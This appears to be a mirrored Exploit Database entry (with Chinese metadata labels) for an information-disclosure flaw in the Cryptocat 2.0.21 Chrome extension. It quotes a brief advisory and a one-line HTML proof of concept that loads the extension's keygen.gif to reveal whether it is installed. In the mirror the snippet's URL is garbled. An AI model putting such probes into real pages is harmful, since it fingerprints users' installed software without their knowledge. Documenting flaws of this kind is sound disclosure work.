Cryptocat 2.0.21 Chrome Extension – ‘img/keygen.gif’ File Information Disclosure

• Exploit Database
• 14 阅读

• 作者： Mario Heiderich
  日期： 2012-11-07
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/38636/

• source: https://www.securityfocus.com/bid/61090/info
  
  Cryptocat is prone to an information disclosure vulnerability.
  
  An attacker can exploit this issue to gain access to sensitive information that may aid in further attacks.
  
  Cryptocat 2.0.21 is vulnerable; other versions may also be affected. 
  
  <img src="https://www.exploit-db.com/exploits/38636/chrome-extension://[extension-id-from-chrome-web-
  store]/img/keygen.gif" onload=alert(/hascat/) onerror=alert(/hasnot/) >